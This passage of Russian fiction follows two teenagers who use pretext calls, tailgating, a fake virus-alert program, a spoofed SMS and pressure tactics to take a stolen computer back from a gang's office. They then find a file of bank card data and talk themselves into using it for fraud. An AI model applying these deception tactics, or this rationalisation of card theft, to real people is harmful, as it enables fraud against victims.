Кирилл молча шагнул в сторону — справиться с двумя отморозками в оди‐
ночку шансов попросту не  было, а  на кухне засел еще  и третий. Судя
по  доносившимся оттуда выкрикам и  ругани, разговор у  них с  отчимом
не  заладился. Осталось лишь проводить тоскливым взглядом парочку, утас‐
кивающую в  неизвестном направлении его монитор и  системник, да  прог‐
лотить подкатившую к  горлу обиду  — комп было жалко до  слез. Во‑первых,
этот железный ящик в форм‑факторе «миди‑тауэр» — единственное, что при‐
миряло Кирилла с  необходимостью просыпаться по  утрам и  тащиться
в ненавистную школу, потому что после уроков его ждали любимые «Герои».
А  когда все улягутся спать, можно дозвониться до  провайдерского пула
модемом, не с первой попытки, конечно, но тут уж как повезет: в дневное вре‐
мя занимать спаренную с соседями телефонную линию ему строго‑настрого
запрещалось. Во‑вторых, компьютер покупала мама, и  убедить ее в  необ‐
ходимости столь дорогостоящего приобретения было ой как непросто. В ход
шли и  настойчивые уговоры, и  логические доводы о  том, что в  выпускных
классах без  собственного компа ну никак не  обойтись. Теперь персоналки
больше нет. Прекрасно зная о том, сколько платят сейчас в государственной
больнице медсестрам, Кирилл понимал: еще  один комп мать точно
не потянет.

Голоса на  кухне стихли, хлопнула входная дверь  — похоже, третий отмо‐
розок убрался восвояси вслед за своими товарищами. Спустя минуту в ком‐
нату засунулся взлохмаченный и немного помятый отчим:

— Живой или как?
«Опять бухой», — со злостью подумал Кирилл, а вслух ответил:
— Они компьютер забрали.
— Да и хрен с ним, перетопчешься, — отмахнулся тот, придирчиво огля‐

дывая помещение: не  пропало ли еще  чего‑нибудь ценного? Судьба пер‐
соналки, судя по всему, интересовала его в последнюю очередь.

— Ага, не ты ж покупал.
— Ты чего, сопля, в  конец оборзел?  — мутные глаза отчима стали

наливаться кровью. — А ну иди сюда, тварь!
Не дожидаясь, пока его схватят за  шиворот, Кирилл ужом проскользнул

в коридор и выбежал на лестничную площадку. Рука у отчима была тяжелая,
в этом он успел убедиться на собственной шкуре несчетное число раз, а при‐
вычка вымещать злобу на домашних с годами только крепла. Случалось, пос‐
ле очередных таких разборок Кирилл подумывал о том, как бы по‑тихому при‐
кончить этого алкаша, но  всякий раз размышления заканчивались бессиль‐
ным избиением ни  в чем не  повинной подушки. Становилось жалко маму:
если его посадят, одной ей придется тяжко. А найти в маленьком Подгорске
неженатого мужика, не  просто несудимого, а  хотя  бы непьющего,  — задача
для женщины за сорок почти неразрешимая.

День клонился к вечеру, но до темноты оставалось еще несколько часов.
Мать сегодня дежурила в  ночь, а  значит, возвращаться домой  — совсем
не вариант: отчим, как обычно, накидается, заливая водкой недавний стресс,
и  общаться с  ним в  таком состоянии Кириллу абсолютно не  хотелось. Ноги
сами понесли его по заросшему тополями бульвару к перекрестку с широким
проспектом Труда и  дальше, мимо выстроившихся стройными рядами пяти‐
этажек, — в сторону центральной площади. Возле одной из «панелек» Кирилл
свернул во  двор, привычно нажал три кнопки на  кодовом замке подъезда
и  поднялся на  второй этаж. Звонок в  квартире номер шесть звучал, будто
вгрызающаяся в металл циркулярная пила, но ее обитатели, похоже, привык‐
ли к  этому жуткому дребезгу. За  дверью послышались неторопливые шаги,
дверной глазок на мгновение потемнел, а затем щелкнул замок.

— Здорово, Киря. Заходь. Чего мрачный такой?
Санчо предстал перед одноклассником и лучшим другом в домашней фут‐

болке с  надписью Prodigy и  вытянутых на  коленях трениках, из‑под которых
выглядывали надетые на  босу ногу шлепанцы. Гостей он сегодня явно
не ждал.

— Бандиты мой комп забрали,  — сообщил Кирилл печальную новость
и смачно выругался. — Ворвались домой и унесли. По ходу, выбрали самое
ценное, что на глаза попалось.

— Отчим? — понимающе уточнил Санчо.
— Ага. Какой‑то бизнес очередной замутил, бизнесмен хренов. Занял,

видать, бабла у этих, а отдавать, как обычно, нечем.
— Да‑а, история… — с сочувствием протянул школьный друг.
— На  работу  бы лучше устроился,  — повторил Кирилл слова матери,  —

только не царское это дело — работать. Слышь, Сань, можно я у тебя до утра
перекантуюсь? Не хочу пока домой возвращаться, ну, сам понимаешь…

— Да  не вопрос,  — понимающе кивнул Санчо, к  которому Кирилл обра‐
щался с  подобной просьбой не  впервые.  — Жрать хочешь? Там на  кухне
бутеры с колбасой остались, и в холодильнике хватай, что найдешь…

Жил Санчо, чего уж греха таить, чуть получше своего товарища: и  комп
у него был помощнее, на новом Athlon 64, и к интернету он подключался не по
диал‑апу, а  через районную локалку, благодаря чему доступ к  сети имелся
у него круглосуточно. Глядя, как друг садится за клавиатуру и быстро набира‐
ет кому‑то сообщение в  «аське», Кирилл снова ощутил накатившую тоску
и отчаянье: свой компьютер он, скорее всего, больше уже никогда не увидит.

— Узнать бы телефон этих ублюдков… — сквозь зубы произнес Киря.
— И что это тебе даст? — не отлипая от экрана, бросил через плечо Сан‐

чо.
— Ну, можно повесить объяву, что они мобильники продают за  копейки.

Или что по этому номеру работает круглосуточная BBS с халявным варезом.
А  если выяснить, где они ставят тачку, а  потом прицепить на  двери пару
амбарных замков... Да много чего сделать можно, я в одном журнале читал.

— «Западлостроение», — с ходу вспомнил название рубрики Санчо, — я ж
тебе этот самый журнал и подсунул. Прикольно, но непродуктивно.

— В каком смысле?
— Да в прямом. Разозлить‑то их это разозлит, базара нет, но вернуть тебе

комп не поможет.
— А что поможет? — с надеждой в голосе спросил Кирилл.
— Ну смотри, — отличавшийся спокойной рассудительностью Саня отод‐

винул подальше клавиатуру и  лихо крутанулся к  гостю на  вращающемся
компьютерном кресле, еще  одном предмете лютой зависти со  стороны
Кири.  — Твой отчим задолжал «бандеросам» денег, и  машину они забрали
в счет долга, так? Значит, точняк попытаются это самое бабло вернуть, про‐
дав твой комп. Ты его конфигурацию помнишь?

— Конечно. Пень четвертый, пятьсот двенадцать метров оперативки, вось‐
мидесятка винт, видяха джи‑форс на сто двадцать восемь мегабайт…

— Так, хорош, стопэ. Офисный центр на Пятилеток знаешь?
Кирилл кивнул  — бывшее здание НИИ чего‑то там, необратимо переро‐

дившееся лет десять назад в деловой центр, было хорошо знакомо, пожалуй,
всем жителям Подгорска.

— Там в  вестибюле можно бесплатно взять газету с  объявлениями. Вот
и  ищи в  ней свой комп. Когда найдешь, можно будет позвонить под  видом
покупателя. Как  минимум телефон продавца ты из  объявы узнаешь. А  там
чего‑нибудь придумаем…

Когда у  человека появляется цель, все переживания отступают. Наметив
план действий, Кирилл почувствовал прилив сил, а мир вокруг него сделался
четче и  ярче, как  будто кто‑то выкрутил на  максимум регулятор резкости.
Дома он теперь старался появляться лишь вечерами: затравленная отчимом
мать нашествие незваных кредиторов проглотила молча, словно ничего и не
случилось, а Киря решил на всякий случай этот эпизод вслух не вспоминать.
Каждый день он приходил в гулкий вестибюль бизнес‑центра, брал с метал‐
лической стойки‑этажерки пахнущую дешевой бумагой и типографской крас‐
кой газету и впивался глазами в мелкие строчки частных объявлений о про‐
даже компьютеров.

Но ни на следующее утро, ни через день, ни спустя трое суток вожделен‐
ное объявление на  газетных страницах так и  не появилось. Кирилла вновь
начала опутывать липкая паутина отчаяния: комп хотелось заполучить
обратно во  что  бы то ни  стало, даже не  из стремления вернуть утраченную
собственность, а из назойливого желания восстановить попранную справед‐
ливость. Санёк клятвенно пообещал подключить к  поискам личные связи
в лице старшего двоюродного брата, мутившего какие‑то дела и с ментами,
и  с торговцами на  городском рынке. Но  Киря в  успех этого начинания
не верил ни на грош, подозревая, что друг просто хочет обнадежить его, пока
он окончательно не погрузился в пучины уныния.

Однако на шестой день Санчо сам встретил Кирилла во дворе его дома,
сияя точно начищенная монета.

— Нашел! — радостно выкрикнул он и тут же перешел на заговорщицкий
полушепот: — Короче, братец мой перетер там кое с кем и вот что разнюхал.
У нас тут, по ходу, одна бригада на весь город работает. Бандиты эти держат
рынок, который на  Краснопутиловской, ну, сам знаешь, барыг там стригут
и  все такое. Еще  у них есть несколько контор, типа легальных, но  на самом
деле тоже полукриминал. Пара ломбардов, штук пять разливух, залы с игро‐
выми автоматами. И  работает там что‑то типа бухгалтерии, ну, натуральный
офис, прикинь? Тетки за  столами сидят, чай с  пряниками пьют, всякий
дебет‑кредит считают. Вот туда они твой комп и поставили, решили не про‐
давать, значит.

На мгновение Кирилл ощутил прилив радости, которая быстро сменилась
чувством тоскливой безысходности.

— И что нам с этим знанием делать? — мрачно спросил он. Перспектива
брать бандитский офис штурмом его отчего‑то совсем не привлекала.

— Погоди, не кипешуй, — сказал Санёк и заговорщицки оглянулся. — Есть
одна идейка.

Изложенный другом замысел выглядел насколько привлекательным, нас‐
только же и неосуществимым. Но именно по этой самой причине он мог сра‐
ботать. Пробравшись через дырку в  металлической ограде на  территорию
близлежащего детского сада, где сейчас, в последние дни августа, не было
ни души, друзья заняли окруженную густым кустарником беседку. Здесь Сан‐
чо и  изложил наконец все детали своей авантюрной задумки. Говорил он
столь вдохновенно, что сам не  заметил, как  увлекся рассказом и  принялся
расхаживать по пружинящим доскам беседки туда‑сюда, размахивая руками,
точно ветряная мельница. Киря напряженно слушал, не  перебивая. В  конце
концов рассказчик выдохся, умолк и  вопросительно уставился на  своего
товарища.

— Чем безумнее план,  — Санчо помедлил, глядя Кириллу прямо в  гла‐
за, — тем больше шансов на успех. Просто эти ребята не ожидают, что кто‑то
осмелится на подобное.

Киря медленно выдохнул, словно отпуская грызущие его сомнения, и кив‐
нул. Люди очень странно устроены, они не верят в безумное ровно до тех пор,
пока оно не  сработает. Когда тебя с  малолетства пичкают наставлениями
о  том, будто жить, действовать и  мыслить нужно в  строгом соответствии
с кем‑то заведенным порядком, трудно принять непривычное. Лишь со вре‐
менем ты начинаешь понимать, что успеха добиваются лишь те, кто не желает
жить по правилам.

— Ладно, черт с тобой, — сказал он наконец. — Попробуем.
Действовать решили, не  откладывая дела в  долгий ящик. Санчо назвал

адрес здания, где, по его сведениям, обосновалась та самая бухгалтерия —
располагалось оно на  другом конце города, минутах в  тридцати езды
на  трамвае. Место было выбрано крайне непримечательное и  малолюдное:
с одной стороны трамвайный парк, упиравшийся в ряды ржавых гаражей, что
тянулись вдоль дороги до  самой лесополосы, с  другой  — промзона: серый
бетонный забор, за  ним  — ажурные опоры высоковольтной линии. Если
верить выцветшей от времени табличке с адресом, искомое помещение раз‐
мещалось в двухэтажном кирпичном здании заводоуправления.

Друзья сунулись было в  проходную, но  там их встретил пост охраны
с перегораживающей проход вертушкой, над которой царствовала сурового
вида бабка‑вахтер в  тесной стеклянной будке. Чтобы преодолеть эту прег‐
раду, следовало оформить разовую проходку в видневшемся сбоку от входа
окошке бюро пропусков либо позвонить по местной линии с помощью прик‐
рученного к стене телефона‑автомата, чтобы тебя кто‑нибудь встретил. Киря
подумал, что ни одна современная система видеонаблюдения не сравнится
по своей эффективности с подобной службой безопасности. Строгая бабка
в будке запросто даст ей сто очков вперед, да и обойдется в три раза дешев‐
ле. Не забывай только стекла в будке вовремя протирать. Вот и сейчас вах‐
терша высунулась из  своего укрытия, словно сова из  дупла, стоило Санчо
сделать шаг к турникету.

— Вы куда, молодые люди? — строго проскрипела старуха.
— Извините, вы не подскажете, как позвонить в общество с ограниченной

ответственностью «Партнер‑сервис»? — изобразив на лице доброжелатель‐
ное и вежливое выражение, поинтересовался Санчо.

— Тридцать — двадцать восемь, — выдала по памяти вахтерша.
— Это местный. А городской?
— Там,  — бабка неопределенно махнула рукой в  сторону таксофона

и  убралась в  свое стеклянное гнездо, где ее ждал толстый журнал с  крос‐
свордами.

На прибитой к стене возле телефона деревянной доске среди объявлений
«Требуется уборщица» и  «Продается щебень от  1  тонны» и  вправду обна‐
ружилась приколотая на  канцелярскую кнопку замызганная бумажка
с телефонными номерами арендаторов.

— Ага, — удовлетворенно произнес Саня, найдя на листке искомое.
Оказавшись на  улице, он внимательно осмотрел здание еще  раз. Время

близилось к  обеду, из  проходной то и  дело выходили люди, одетые
и по‑деловому, и в обычную рабочую одежду: видимо, завод продолжал фун‐
кционировать, сдавая внаем лишь часть административных площадей, чтобы
свести концы с  концами. Никто не  останавливался, никто не  оглядывался
по сторонам.

— Пойдем‑ка, — деловито сказал Санчо, показывая рукой куда‑то в сто‐
рону.

С одного торца здания громоздились автоматические железные ворота
для  грузового транспорта, там имелся собственный пост охраны. С  другого
торца была оборудована небольшая парковка для  легковых машин, отго‐
роженная от дороги полосатым шлагбаумом. Там, в дальнем конце стоянки,
Киря углядел скромное крылечко запасного выхода, возле которого расслаб‐
ленно курили несколько обитателей офисов. Нырнув под  шлагбаум и  про‐
гулявшись возле крыльца туда‑сюда, друзья убедились, что эта дверь запира‐
ется на магнитный замок, который курильщики открывали собственными кар‐
тами‑пропусками.

Но самое главное, никакой охраны там не  было и  в помине. На  этом раз‐
ведывательную миссию было решено свернуть.

Родители Санчо еще  не вернулись с  работы, так что в  гостях у  друга
Кирилл чувствовал себя свободно — он всегда немного стеснялся Сашиных
предков. Пройдя на  кухню, тот поставил на  плиту чайник, достал из  буфета
сухарницу с печеньем и водрузил на кухонный стол блестящий черным плас‐
тиком телефонный аппарат — тоже модный, с определителем номера и анти‐
АОНом, не позволявшим отследить абонента при исходящем звонке. Кирилл
заворожено наблюдал, как  его друг, несколько раз кашлянув в  кулак, чтобы
прочистить горло, набирает уверенными нажатиями на клавиши телефонный
номер.

— «Партнер‑сервис»? — чуть изменив голос, деловито заговорил Санчо,
когда на  том конце провода сняли трубку.  — Филимонов из  «Паруса» бес‐
покоит, с кем я говорю? Добрый день, Светлана Михайловна. По договорчику
от  третьего числа, напомните пожалуйста, на  чье имя с  вашей стороны зак‐
лючаем? Горин Евгений Степанович? Это генеральный? На основании уста‐
ва, хорошо, да, спасибо. А с самим можно пообщаться по поводу поставок?
Понял, без проблем. Фи‑ли‑монов. Да, хорошо. Всего доброго.

— И что теперь? — поинтересовался Кирилл, когда Санчо бросил трубку
на рычаг.

— А  теперь, через денек‑другой, когда про  сегодняшний разговор
забудут, в  компанию позвонит генеральный директор Горин Евгений Сте‐
панович и позовет к телефону Светлану Михайловну. Позвонит он с мобиль‐
ного, поэтому связь будет очень плохая. Но Светлана Михайловна услышит,
что скоро шеф пришлет в  офис двоих ребят проверить компьютеры. Один
из  компов окажется заражен вирусами, поэтому его ненадолго заберут
в ремонт. Это называется «социальная инженерия», Киря.

— Думаешь, получится? — с сомнением в голосе произнес Кирилл.
— Вот через два дня и узнаем.
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Планы хороши тем, что их можно строить, сидя на диване в тишине уютной
комнаты. Ты уже заранее знаешь, как  будут развиваться события  — шаг
за  шагом, будто стрелки на  циферблате, которые всегда показывают пра‐
вильное время. Все кажется простым и понятным, но лишь до тех пор, пока ты
не  встанешь с  насиженного места, чтобы выглянуть в  окно, за  стеклом
которого прячется реальность.

Сегодня за  окном мутной стеной лил дождь, и  он совершенно не  впи‐
сывался в  тщательно продуманные Кириллом и  Саней планы. Желтоватый
свет фар проезжающих по  лужам машин расплывался пятнами на  мокром
асфальте, порывы ветра гнали по  тротуарам мусор и  оборванные листья  —
первые вестники приближающейся осени. Очень хотелось послать все к чер‐
ту и перенести задуманное на неопределенное «потом», когда над городом
развеются тучи и  из‑за них выглянет солнце. Но  Киря поборол в  себе
желание снять трубку и  предложить другу остаться сегодня дома. Он знал,
что, если откажется сейчас, второго шанса уже не будет.

До конечной в  дребезжащем полупустом трамвае ехали молча. Кирилл
старался отогнать подальше мысли о  том, что им предстоит, чтобы лишний
раз не накручивать себя. Окутанный дождем мир по ту сторону мокрого стек‐
ла казался ему ненастоящим — серые улицы, одинаковые дома, разноцвет‐
ные пятна зонтов, словно обрывки сна, в котором нестерпимо хотелось прос‐
нуться. Но проснуться не получалось.

Он оглянулся на Санчо. Тот сидел, уткнувшись в свою «Нокию», но Кирилл
знал: на душе у друга сейчас не менее тревожно, чем у него самого. Просто
он опять нацепил на себя ту непроницаемую маску, которая всегда возникала
из ниоткуда перед чем‑то важным, словно окружающий мир был для него все‐
го лишь очередной компьютерной игрой, которую можно перезапустить, если
что‑то пойдет не так.

— Все будет нормально, — тихо сказал Санчо, не поднимая головы.
Кирилл усмехнулся. «Нормально» — это самое ненадежное слово на све‐

те, бессмысленное, как обещания на обратной стороне лотерейного билета.
То, что тебе кажется нормальным, для всех остальных может выглядеть фор‐
менным безумием. Все зависит от угла зрения, а углы у каждого свои.

Трамвай затормозил и с лязгом распахнул двери, впуская в салон холод‐
ный, пропитанный дождем воздух.

— Ладно, — сказал Кирилл, делая шаг к выходу. — Идем.
Из‑за непогоды курильщиков сегодня на  улице не  наблюдалось, и  Кире

с  Санчо пришлось минут двадцать потолкаться в  стороне, возле закрытого
навсегда овощного ларька, испещренного неразборчивыми надписями аэро‐
зольной краской. Наконец на крылечко вышел пузатый мужик в свитере, щел‐
кнул зажигалкой, выпустил в пасмурное небо облачко дыма. Саня терпеливо
дождался, пока тот докурит и  затушит хабарик о  край переполненной урны,
а затем решительным шагом направился к входу в здание.

— Здравствуйте, — вежливо поприветствовал он мужика, тот безразлично
кивнул. На  Санчо была сине‑голубая спецовка, в  которой его отец чинил
по выходным во дворе свой престарелый «москвич», Кире он вручил потертую
сумку с  инструментами, а  сам нес в  руке колбу люминесцентной лампы,
которую походя подобрал на  помойке во  дворе. Человек с  пустыми руками
вызывает больше подозрений, со  знанием дела объяснял Саня, если ты
несешь сумку, стремянку или  еще какое‑то барахло, значит, идешь по  делу.
Никто не  спросит тебя, какого беса ты шляешься в  неположенном месте:
не  будет же праздношатающийся индивид таскать с  собой лишний груз
без всякой необходимости?

Вот и мужик в свитере безропотно пропустил за собой парочку, даже веж‐
ливо придержал дверь. На  его лице не  отразилось даже мимолетного сом‐
нения: он был уверен, что где‑то совершенно точно видел этого молодого
подсобного рабочего — кажется, тот менял лампы дневного света в общем
коридоре на прошлой неделе. Да и второй, белобрысый, вроде был ему смут‐
но знаком.

Оказавшись внутри, Санчо тут же спрятал уже ненужную лампу за открытой
внутренней дверью тамбура, скинул спецовку, небрежно скатал ее и  сунул
в Кирину сумку. Взъерошил непослушные волосы и озорно посмотрел на дру‐
га.

— Второй этаж, офис триста пять, — сказал он. Точную дислокацию своей
цели Саня также без особого труда выяснил по телефону накануне, позвонив
одному из соседей‑арендаторов и сделав вид, что ошибся номером.

Очутившись перед  нужной комнатой без  вывески, Кирилл на  мгновение
ощутил пробежавший по  спине холодок страха. Санчо, не  теряя времени,
решительно постучал в дверь и без приглашения потянул ее на себя.

— Добрый день,  — громко поздоровался он,  — мы к  вам, Евгений Сте‐
панович должен был предупредить.

В помещении обнаружились три дамы, с  интересом воззрившиеся
на вошедших: одна молодая, даже весьма привлекательная, и две постарше.
Пахло растворимым кофе и  терпкими лавандовыми духами. Кирилл окинул
быстрым взглядом комнату: несколько сдвинутых в  линию столов, шкаф
с  рядами разноцветных канцелярских папок, электрический чайник на  плас‐
тмассовом подносе, принтер на  тумбе. Его пентиум стоял в  дальнем углу,
Киря безошибочно узнал свой комп по монитору, к которому уже успели при‐
цепить бесполезный защитный экран из толстого стекла.

— Проходите, — хорошо поставленным голосом произнесла одна из жен‐
щин, — Слава, да?

— Верно,  — кивнул представившийся вымышленным именем Санчо,  —
это  не займет много времени, буквально минут на  пятнадцать оторвем вас
от работы.

Свои роли они несколько раз отрепетировали заранее. Кирилл подошел
к  ближайшему компу, хозяйка которого, та самая миловидная девушка,
с интересом следила за его действиями. Воткнул дискету в дисковод, открыл
проводник и запустил написанную им же самим накануне программку — она
выводила на  экран бегущие строки со  случайными символами и  рисовала
индикаторы прогресса, которые должны были имитировать всевозможные
технические проверки.

— Здесь всё в порядке, — кивнул он девушке.
Санчо проделал то же самое с другой персоналкой и перешел к Кириной

машине. Вставил дискету в дисковод, пощелкал клавишами, нахмурился.
— Толик, посмотри‑ка, — позвал он Кирилла, разворачивая монитор так,

чтобы его видели и остальные присутствующие.
На экране творилось нечто невообразимое. Поверх рабочего стола винды

стали выпрыгивать угрожающие окна с  надписью «Обнаружен вирус!», все
это  сопровождалось тревожными звуками, доносящимися из  динамика сис‐
темного блока. В открытом на заднем фоне окошке побежали ярко‑красные
строчки, и, наконец, с  громким «Бым!» представление закончилось запол‐
нившей дисплей картинкой, один в  один похожей на  «синий экран смерти».
В  общем, Киря постарался нагнать ужаса по  максимуму, мобилизовав все
имеющиеся в его арсенале знания в программировании, чтобы написать этот
инструмент компьютерного маньяка.

— Компьютер заражен вирусами, — пояснил Кирилл слегка оторопевшим
дамам,  — они уничтожат всю информацию на  дисках. Вообще всю! Кроме
того, если вирусы переберутся на  соседние машины, они удалят операци‐
онную систему, грохнут загрузочную запись и  потрут все файлы. У  вас там
хранилось что‑то ценное? Отчеты там, документы? Впрочем, неважно, мы
почистим компьютер и вернем всё как было. Но его придется забрать в мас‐
терскую на пару дней.

Пока Киря разливался соловьем, излагая эту трагичную историю притих‐
шим слушательницам, Санчо варварски выдернул комп из розетки и принялся
откручивать барашки видеокабеля.

— Погодите,  — первой опомнилась женщина с  выбеленной причес‐
кой‑каре, судя по  голосу, та самая Светлана Михайловна, с  которой Саня
беседовал по телефону в первый раз. — Я должна связаться с Евгением Сте‐
пановичем…

Киря и Саня переглянулись: такой оборот событий в их планы совершенно
не входил.

— Звоните, — с деланым безразличием пожал плечами Санчо, — но Евге‐
ний Степанович в  курсе, он даже предлагал нам свою машину, если компь‐
ютеры придется везти в сервис. Вот, взгляните.

С этими словами Саня достал из  кармана свою потрепанную «Нокию»,
нажатием кнопки вывел на  экран SMS-сообщение и  сунул телефон прямо
под нос недоверчивой даме. «Тестировать и забрать технику в ремонт можно.
Главное — быстро, у нас много работы» — гласил текст на экране. Телефон‐
ный номер отправителя был скрыт под  надписью «Горин Партнер‑сервис»,
так что подделку распознать было непросто. Однако женщина все еще сом‐
невалась  — на  ее лице отражалась мучительная внутренняя борьба между
ответственностью и бдительностью.

— Я понимаю, но мне нужно получить подтверждение… — упрямо заявила
она.

— Послушайте, мы здесь для  того, чтобы спасти ваши данные,  —
с нажимом перебил ее Санчо, чуть повысив голос. — Если вам не нравится,
что мы пытаемся защитить компанию от вирусов, вы можете подождать, пока
все рухнет. Но тогда вам придется самой объяснять Горину, почему это про‐
изошло.

— Не переживайте, мы оставим вам сохранную расписку, — успокоил жен‐
щину Кирилл.  — Мы часто сталкиваемся с  такими ситуациями. Вы делаете
свою работу, мы свою. Поймите нас правильно, мы просто хотим помочь.

Его успокаивающий и примирительный тон, кажется, подействовал: Свет‐
лана Михайловна кивнула.

— Другими‑то компьютерами можно пользоваться?
— Да, конечно, — ответил Саня, пристраивая поудобнее под мышкой сис‐

темный блок, — вирусы пока еще не успели туда пробраться, так что файлы
в безопасности.

Мгновение помедлив, Киря решительно шагнул к столу и уверенным дви‐
жением сгреб в  охапку монитор. Теперь нужно было действовать быстро.
Выйдя в  коридор, он изо всех сил уговаривал себя не  бежать и  не огля‐
дываться. Получилось? Черт возьми, кажется, получилось!

Лестница, один пролет, другой, от громоздкой угловатой ноши уже немеют
и  начинают болеть руки. Железная дверь запасного выхода открывается
кнопкой изнутри, Санчо нажал на  нее свободной рукой и  чуть придержал
коленом металлическую створку, но  перенервничавший Киря, уже готовый
сорваться на  бег, не  удержал равновесие. Тяжеленный «Флатрон» высколь‐
знул из рук и c гулким грохотом рухнул на асфальт. Сердце Кирилла на мгно‐
вение замерло в  груди, но  тут же снова пустилось в  галоп: кажется, не  раз‐
бился!

— Ты зачем монитор схватил, дебил?  — окликнул его Санчо.  — Догова‐
ривались же только системник забрать.

— Жалко, — пыхтя от натуги, откликнулся красный как рак Киря, поднимая
монитор с земли.

— Вот и тащи его теперь сам, придурок.
Тащить пришлось далеко, до соседней трамвайной остановки, а потом —

переулками до  Саниного дома, где друзья договорились временно прип‐
рятать добычу. Кирилл пыхтел и  отдувался, а  под конец пути и  вовсе стал
поминутно останавливаться передохнуть, подперев монитор к  ближайшей
стене бедром. Саня как  ни в  чем не  бывало утопал далеко вперед, видимо,
из принципа решив не дожидаться подотставшего друга. Хорошо хоть дождь
уже кончился, а  промозглую сырость сдуло свежим ветерком, разогнавшим
косматые грозовые облака. Но  Кирилл решил не  сдаваться и  все‑таки
допереть монитор до места назначения, даже если руки и спина потом отва‐
лятся напрочь и будут болеть неделю.

Эйфория от  варварского набега на  офис, завершившегося абсолютной
и  безоговорочной победой, пьянила подобно крепленому вину. Саниных
родителей снова не оказалось дома, но, затащив свою тяжелую ношу в ком‐
нату, Киря на всякий случай прикрыл за собой дверь.

— Есть!  — по‑детски радостно выкрикнул он и  подпрыгнул чуть ли не  до
потолка. — Мы их сделали! Все‑таки ты чертов гений! Если честно, я маленько
стреманулся, когда она своему начальнику звонить собралась. Но ты прямо
все четко разрулил, как по нотам. И ведь придумал же такую крутую схему!

Санчо загадочно улыбался, глядя на своего друга, которого захлестывали
бьющие через край эмоции.

— Это  обычный алгоритм,  — сказал он,  — люди тоже поддаются прог‐
раммированию, не  хуже, чем машины. Просто нужно знать, как  правильно
составить программу.

Он протянул руку к  стоявшей на  полу бутылке колы и  сделал несколько
жадных глотков. Поставил бутылку обратно, кивнул в сторону стоявшего в углу
системника:

— Ну что, включим?
Воткнуть на место разъемы, найти свободную розетку — дело нескольких

минут. Киря с  нетерпением нажал кнопку питания. По  черному экрану про‐
бежали белые строки текста, затем возникла заставка загружающейся винды.
Кирилл уселся по‑турецки прямо на  полу, придвинул поближе клавиатуру
с мышью, скользнул курсором по экрану. Его личные файлы никто не тронул,
даже «Герои» остались на месте. А вот новых файлов на дисках прибавилось:
судя по всему, в последнее время на машине в основном запускали Microsoft
Office.

Кирилл пробежался по папкам — документы Word, таблицы Excel. Открыл
наугад несколько файлов — какие‑то скучные списки и отчеты. Тем временем
Саня встал со  своего вращающегося кресла, потянулся, потом подошел
к  окну, распахнул его настежь. В  комнату ворвался холодный вечерний воз‐
дух, заставив Кирилла передернуть плечами. Он бросил быстрый взгляд
на цифры в углу экрана. Восемь. Пара часов в запасе есть, потом надо дви‐
гать домой, пока мать не начала беспокоиться.

— Погодь,  — сказал Санчо, заглядывая другу через плечо.  — Открой‑ка
вот этот последний файлик.

Пожав плечами, Киря дважды клацнул мышью на значке экселевской таб‐
лицы, которую только что закрыл. Саня допил оставшуюся колу, бесцеремон‐
но выкинул бутылку прямо в открытое окно и жадно уставился в экран.

— Вниз прокрути.
Обычная табличка, ничего примечательного. В  одной колонке какие‑то

цифры, в  другой, похоже, даты, в  третьей  — имена, записанные латиницей.
Дальше опять ряды цифр, адреса электронной почты, еще, кажется, телефон‐
ные номера.

— Знаешь, что это такое?
Кирилл вопросительно посмотрел на Санчо.
— Это карточки, чувак. Банковские карточки.
Саня радостно улыбнулся и хлопнул Кирилла по плечу:
— Похоже, нам удалось получить в  довесок к  твоему компу небольшой

бонус. Эти тетушки собрали тут базу с данными карт, не то сотрудников, не то
клиентов, шут их разберет, не суть важно. Смотри, почти полные реквизиты.
С этим файлом можно сделать много интересного.

— Думаешь кинуть этих людей на деньги? — кивнул Киря в сторону экрана.
— Не просто людей, — убедительно произнес Санчо. — Забыл, у кого мы

комп увели? У  бандитов, которые вынесли его из  твоей квартиры. И  эти,
в  офисе, тоже работают на  них. Соответственно, и  люди в  файлике как‑то
с  ними связаны. Может, зарплату у  них получают на  свои карты. А  может,
в  ломбард бандитский чего‑нибудь сдали, и  им на  эти реквизиты денег
закинули.

— Ну, клиенты‑то тут ни при чем...
— Клиенты приносят бандосам доход, а значит, тоже работают на них, —

менторским тоном пояснил Санёк. — Думаешь, в ломбарды приличные люди
вещи носят? Да те же алкаши в основном. Утащил у жены золотые сережки,
сдал, купил пузырь, нажрался. Сам небось знаешь.

Кирилл знал. Отчим, в  перерывах между провальными бизнес‑прожек‐
тами, тоже не брезговал решать свои финансовые проблемы за счет мамы:
чаще просто вытаскивал все деньги из  сумочки, реже уносил и  пропивал
вещи. Так из  дома постепенно исчезли все бабушкины драгоценности, ста‐
ринные бронзовые подсвечники, набор фарфоровых статуэток и даже «праз‐
дничная» посуда, которую мать хранила в  серванте для  особых торжеств
или на случай визита гостей. Впрочем, гости к ним домой не захаживали уже
давненько. А попытки воззвать к совести отчима обычно заканчивались скан‐
далом и рукоприкладством.

— Короче, Киря, я бы на твоем месте не парился насчет моральной сто‐
роны вопроса. Они украли у нас, мы украли у них. Законная добыча.

Возможно, Саня и  прав, подумал Кирилл. Мораль всегда кажется ясной
и  очевидной, пока ты стоишь на  берегу. Но  стоит нырнуть в  глубину  —
путеводный солнечный свет исчезает, вокруг только муть и серый холод. Все
мы похожи на рыб, обитающих в этой глубине, вся наша жизнь от начала и до
самого конца протекает в этих мутных водах. Можно быть пугливым карасем,
который прячется в  омуте, пугаясь каждой случайной тени, а  можно прев‐
ратиться в  зубастую щуку, что хищно скользит в  темноте, питаясь страхом
и слабостью других.

Кирилл невольно усмехнулся. В детстве, когда отец был еще жив, он часто
брал с собой Кирю на рыбалку, которой увлекался всерьез. Вместе они тас‐
кали из  речки мелких серебристых окуньков, чья чешуя сверкала на  солнце
драгоценным серебром. На утренней заре ловили и щук, забрасывая блесну
в камыши, но сильная и своевольная рыба попадалась нечасто, подцепить ее
на  крючок считалось большой удачей. «На то и  щука, чтобы карась не  дре‐
мал» — эту присказку отец повторял чуть ли не каждый день.

Киря снова посмотрел на  монитор, остановил взгляд на  замершем поп‐
лавком курсоре в самом центре экрана. Может, и вправду пора сделать шаг
с привычного берега в ледяную и темную воду.

Чтобы было проще плыть дальше.
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— Долой буржуев! — весело крикнул Кирилл и кивнул на экран, показывав‐
ший ту самую таблицу с данными банковских карт.

— У тебя проблемы с самоидентификацией, бро, — фыркнул Санчо. — Мы
не  революционеры. Мы бизнесмены. Зарабатываем бабло без  всяких там
идеалов и высокой цели изменить этот мир. Нам это нафиг не надо, по край‐
ней мере лично мне.

После уроков они в очередной раз собрались у Сани дома — комп Кирилл
решил пока что оставить у друга, чтобы избежать лишних вопросов, особенно
